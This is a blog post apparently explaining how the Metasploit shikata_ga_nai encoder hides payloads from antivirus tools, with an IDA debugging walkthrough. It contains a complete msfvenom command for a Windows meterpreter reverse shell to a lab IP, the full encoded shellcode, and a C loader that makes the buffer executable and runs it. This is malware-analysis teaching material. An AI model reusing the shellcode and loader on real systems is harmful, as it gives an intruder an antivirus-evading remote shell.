Welcome to Neehack Blogs

What is Shikata Ga Nai and how does it work?


What is Shikata_ga_nai?

Shikata_ga_nai is a Metasploit encoder used by threat actors to evade/bypass Anti-virus tools.

How does Shikata_ga_nai work?

In summary, shikata_ga_nai uses xoring methodology to evade AVs. Xoring is a bit wise operation that is commonly used in cryptography. Threat actors uses this technique to obfuscate the malware payload. for example, if you xor the value 0x42 (B) to 0x41 (A) = 0x3. Although, the payload in the hard drive may be stored as 0x3 but once the malware is execute, it perform the xoring operation against the 0x3 to obtain its actual malicious form.

Analysis of reverse_tcp payload encoded with shikata_ga_nai

┌──(kali㉿kali)-[/tmp]
└─$ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.115 lport=1023 -f c -e x86/shikata_ga_nai           
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] = 
"\xdd\xc1\xd9\x74\x24\xf4\x5e\xb8\x86\xeb\xa3\xce\x29\xc9"
"\xb1\x59\x31\x46\x19\x83\xc6\x04\x03\x46\x15\x64\x1e\x5f"
"\x26\xe7\xe1\xa0\xb7\x97\x68\x45\x86\x85\x0f\x0d\xbb\x19"
"\x5b\x43\x30\xd2\x09\x70\x47\x53\xe7\x5e\x66\x64\x73\xec"
"\xa0\xab\x44\xbd\x8d\xaa\x38\xbc\xc1\x0c\x00\x0f\x14\x4d"
"\x45\xd9\x52\xa2\x1b\x8d\x17\x6e\x8c\xba\x6a\xb2\xad\x6c"
"\xe1\x8a\xd5\x09\x36\x7e\x6a\x13\x67\x2e\xf9\x4b\xa7\xcf"
"\x2e\xe0\xef\xd7\x55\x3e\x9b\xdb\x64\x3e\x2d\xa8\xb3\x4b"
"\xaf\x78\x8a\x8b\x1c\x45\x22\x06\x5c\x82\x85\xf9\x2b\xf8"
"\xf5\x84\x2b\x3b\x87\x52\xb9\xdb\x2f\x10\x19\x3f\xd1\xf5"
"\xfc\xb4\xdd\xb2\x8b\x92\xc1\x45\x5f\xa9\xfe\xce\x5e\x7d"
"\x77\x94\x44\x59\xd3\x4e\xe4\xf8\xb9\x21\x19\x1a\x65\x9d"
"\xbf\x51\x84\xc8\xc0\x9a\x56\xf5\x9c\x0c\x9a\x38\x1f\xcc"
"\xb4\x4b\x6c\xfe\x1b\xe0\xfa\xb2\xd4\x2e\xfc\xc3\xf3\xd0"
"\xd2\x6b\x93\x2e\xd3\x8b\xbd\xf4\x87\xdb\xd5\xdd\xa7\xb0"
"\x25\xe1\x7d\x2c\x2c\x75\xbe\x18\x32\xf6\x56\x5a\x33\xfb"
"\x59\xd3\xd5\xab\xf5\xb3\x49\x0c\xa6\x73\x3a\xe4\xac\x7c"
"\x65\x14\xcf\x57\x0e\xbf\x20\x01\x66\x28\xd8\x08\xfc\xc9"
"\x25\x87\x78\xc9\xae\x2d\x7c\x84\x46\x44\x6e\xf1\x30\xa6"
"\x6e\x02\xd5\xa6\x04\x06\x7f\xf1\xb0\x04\xa6\x35\x1f\xf6"
"\x8d\x46\x58\x08\x50\x7e\x12\x3f\xc6\x3e\x4c\x40\x06\xbe"
"\x8c\x16\x4c\xbe\xe4\xce\x34\xed\x11\x11\xe1\x82\x89\x84"
"\x0a\xf2\x7e\x0e\x63\xf8\x59\x78\x2c\x03\x8c\xfa\x2b\xfb"
"\x52\xd5\x93\x93\xac\x65\x24\x63\xc7\x65\x74\x0b\x1c\x49"
"\x7b\xfb\xdd\x40\xd4\x93\x54\x05\x96\x02\x68\x0c\x76\x9a"
"\x69\xa3\xa3\x2d\x13\xcc\x54\xce\xe4\xc4\x30\xcf\xe4\xe8"
"\x46\xec\x32\xd1\x3c\x33\x87\x66\x4e\x06\xaa\xcf\xc5\x68"
"\xf8\x10\xcc";

Basically, sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.115 lport=1023 -f c -e x86/shikata_ga_nai” is used to generate payload embeddable in a C program where if executed, it connects back to 192.168.2.115 on port 1023.

shikata.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char buf[] =
"\xdd\xc1\xd9\x74\x24\xf4\x5e\xb8\x86\xeb\xa3\xce\x29\xc9"
"\xb1\x59\x31\x46\x19\x83\xc6\x04\x03\x46\x15\x64\x1e\x5f"
"\x26\xe7\xe1\xa0\xb7\x97\x68\x45\x86\x85\x0f\x0d\xbb\x19"
"\x5b\x43\x30\xd2\x09\x70\x47\x53\xe7\x5e\x66\x64\x73\xec"
"\xa0\xab\x44\xbd\x8d\xaa\x38\xbc\xc1\x0c\x00\x0f\x14\x4d"
"\x45\xd9\x52\xa2\x1b\x8d\x17\x6e\x8c\xba\x6a\xb2\xad\x6c"
"\xe1\x8a\xd5\x09\x36\x7e\x6a\x13\x67\x2e\xf9\x4b\xa7\xcf"
"\x2e\xe0\xef\xd7\x55\x3e\x9b\xdb\x64\x3e\x2d\xa8\xb3\x4b"
"\xaf\x78\x8a\x8b\x1c\x45\x22\x06\x5c\x82\x85\xf9\x2b\xf8"
"\xf5\x84\x2b\x3b\x87\x52\xb9\xdb\x2f\x10\x19\x3f\xd1\xf5"
"\xfc\xb4\xdd\xb2\x8b\x92\xc1\x45\x5f\xa9\xfe\xce\x5e\x7d"
"\x77\x94\x44\x59\xd3\x4e\xe4\xf8\xb9\x21\x19\x1a\x65\x9d"
"\xbf\x51\x84\xc8\xc0\x9a\x56\xf5\x9c\x0c\x9a\x38\x1f\xcc"
"\xb4\x4b\x6c\xfe\x1b\xe0\xfa\xb2\xd4\x2e\xfc\xc3\xf3\xd0"
"\xd2\x6b\x93\x2e\xd3\x8b\xbd\xf4\x87\xdb\xd5\xdd\xa7\xb0"
"\x25\xe1\x7d\x2c\x2c\x75\xbe\x18\x32\xf6\x56\x5a\x33\xfb"
"\x59\xd3\xd5\xab\xf5\xb3\x49\x0c\xa6\x73\x3a\xe4\xac\x7c"
"\x65\x14\xcf\x57\x0e\xbf\x20\x01\x66\x28\xd8\x08\xfc\xc9"
"\x25\x87\x78\xc9\xae\x2d\x7c\x84\x46\x44\x6e\xf1\x30\xa6"
"\x6e\x02\xd5\xa6\x04\x06\x7f\xf1\xb0\x04\xa6\x35\x1f\xf6"
"\x8d\x46\x58\x08\x50\x7e\x12\x3f\xc6\x3e\x4c\x40\x06\xbe"
"\x8c\x16\x4c\xbe\xe4\xce\x34\xed\x11\x11\xe1\x82\x89\x84"
"\x0a\xf2\x7e\x0e\x63\xf8\x59\x78\x2c\x03\x8c\xfa\x2b\xfb"
"\x52\xd5\x93\x93\xac\x65\x24\x63\xc7\x65\x74\x0b\x1c\x49"
"\x7b\xfb\xdd\x40\xd4\x93\x54\x05\x96\x02\x68\x0c\x76\x9a"
"\x69\xa3\xa3\x2d\x13\xcc\x54\xce\xe4\xc4\x30\xcf\xe4\xe8"
"\x46\xec\x32\xd1\x3c\x33\x87\x66\x4e\x06\xaa\xcf\xc5\x68"
"\xf8\x10\xcc";

int main(){
	DWORD oldprot;
	if ((VirtualProtect((int *)&buf,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )
    {
        printf("our vprot failed\n");
        return FALSE;
    }
	(*(void (*)()) buf)();
	return 0;
}

Compile it with GCC using gcc -m32 shikata_c.c -o shikata_c.exe

Note: when compiling your payload, make sure to use -m32 option to compile it as 32bit and use IDA x86/32 to debug the payload.

`VirtualProtect` is going to enable read,write and execute permission on this program. Either you do this, or disable DEP.

Now, lets load it to IDA. Make sure to launch IDA as administrator.

IDA is pretty good to detect the main/start functions of a PEFILE, but that is not always the case. Keep in mind, that in future, when debugging complex threats, IDA could be wrong when saying function XYZ is the main.

You can see that IDA was able to successfully detect the main function correctly, and within the main function we have called the `buf` payload.

Set a break point on `call eax` and run the program.

First of all, since buf is stored in the data segment, IDA will complain about whether you want to execute code from the data segment, since we have called `VirtualProtect` to enable execute permission, we should be fine.

Make sure to step-in to our breakpoint when it is hit. This should land us on the following instruction.

The first few byte of the payload are valid instructions including the xoring, but after the first 25 bytes, they are invalid which make is hard for AVs to detect it.

change esi
ESI/stack pointer

Note the 25 bytes of payload in the picture above vs when I step over the xor instruction or below:

4 bytes of the payload marked in yellow have now changed to E2 F5 FC 38. The loop instruction below xor is responsible to loop through until the payload is fully decoded.

The new payload looks like this when the first few bytes have been decoded:

decoded shikata_ga_nai

Before the payload is decode fully, only the following modules are imported by our program:

C:\Users\Lab\Desktop\sample\shikata_c.exe 00280000 0001C000
C:\Windows\SysWOW64\apphelp.dll           72C60000 0009F000
C:\Windows\SysWOW64\KERNEL32.DLL          75F60000 000F0000
C:\Windows\SysWOW64\msvcrt.dll            76230000 000BF000
C:\Windows\SysWOW64\KERNELBASE.dll        76DB0000 00223000
ntdll.dll                                 77960000 001A4000

As a test, lets disable all the break points and restart the program in IDA, so that the payload completely decode itself. After a 2-3 seconds click on suspend button.

Our decoded payload looks like:

00289020  DD C1 D9 74 24 F4 5E B8  86 EB A3 CE 29 C9 B1 59
00289030  31 46 19 83 C6 04 03 46  15 E2 F5 FC E8 8F 00 00
00289040  00 60 89 E5 31 D2 64 8B  52 30 8B 52 0C 8B 52 14
00289050  0F B7 4A 26 31 FF 8B 72  28 31 C0 AC 3C 61 7C 02
00289060  2C 20 C1 CF 0D 01 C7 49  75 EF 52 57 8B 52 10 8B
00289070  42 3C 01 D0 8B 40 78 85  C0 74 4C 01 D0 50 8B 58
00289080  20 01 D3 8B 48 18 85 C9  74 3C 31 FF 49 8B 34 8B
00289090  01 D6 31 C0 AC C1 CF 0D  01 C7 38 E0 75 F4 03 7D
002890A0  F8 3B 7D 24 75 E0 58 8B  58 24 01 D3 66 8B 0C 4B
002890B0  8B 58 1C 01 D3 8B 04 8B  01 D0 89 44 24 24 5B 5B
002890C0  61 59 5A 51 FF E0 58 5F  5A 8B 12 E9 80 FF FF FF
002890D0  5D 68 33 32 00 00 68 77  73 32 5F 54 68 4C 77 26
002890E0  07 89 E8 FF D0 B8 90 01  00 00 29 C4 54 50 68 29
002890F0  80 6B 00 FF D5 6A 0A 68  C0 A8 02 73 68 02 00 03
00289100  FF 89 E6 50 50 50 50 40  50 40 50 68 EA 0F DF E0
00289110  FF D5 97 6A 10 56 57 68  99 A5 74 61 FF D5 85 C0
00289120  74 0A FF 4E 08 75 EC E8  67 00 00 00 6A 00 6A 04
00289130  56 57 68 02 D9 C8 5F FF  D5 83 F8 00 7E 36 8B 36
00289140  6A 40 68 00 10 00 00 56  6A 00 68 58 A4 53 E5 FF
00289150  D5 93 53 6A 00 56 53 57  68 02 D9 C8 5F FF D5 83
00289160  F8 00 7D 28 58 68 00 40  00 00 6A 00 50 68 0B 2F
00289170  0F 30 FF D5 57 68 75 6E  4D 61 FF D5 5E 5E FF 0C
00289180  24 0F 85 70 FF FF FF E9  9B FF FF FF 01 C3 29 C6
00289190  75 C1 C3 BB F0 B5 A2 56  6A 00 53 FF D5 00 00 00
002891A0  40 85 28 00 FF FF FF FF  FF FF FF FF FF FF FF FF

If you compare the payload before vs now, you would see a lot of changes, such as importing ws2_32:

Import ws2_32

Under modules window, we can also see that more library files are imported including ws2_32.dll which contains the functions related to socket.

C:\Users\Lab\Desktop\sample\shikata_c.exe 00280000 0001C000
C:\Windows\SysWOW64\apphelp.dll           72C60000 0009F000
C:\Windows\SysWOW64\mswsock.dll           72DD0000 00052000
C:\Windows\SysWOW64\KERNEL32.DLL          75F60000 000F0000
C:\Windows\SysWOW64\ws2_32.DLL            76090000 00063000
C:\Windows\SysWOW64\msvcrt.dll            76230000 000BF000
C:\Windows\SysWOW64\RPCRT4.dll            76320000 000BF000
C:\Windows\SysWOW64\KERNELBASE.dll        76DB0000 00223000
ntdll.dll                                 77960000 001A4000

What did we learn?

The first 25 bytes of a payload encoded with shikata_ga_nai, are valid instruction and is responsible to decode the remaining payload using the xoring technique.


Leave a Reply

Your email address will not be published.